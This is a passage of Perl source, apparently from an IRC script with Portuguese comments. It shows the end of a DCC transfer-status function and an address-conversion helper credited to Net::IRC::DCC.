    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  }


  return(0);
}


# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor)
sub fixaddr {
    my ($address) = @_;

    chomp $address;     # just in case, sigh.
    if ($address =~ /^\d+$/) {
        return inet_ntoa(pack "N", $address);
    } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
        return $address;
    } elsif ($address =~ tr/a-zA-Z//) {                    # Whee! Obfuscation!
        return inet_ntoa(((gethostbyname($address))[4])[0]);
    } else {
        return;
    }
}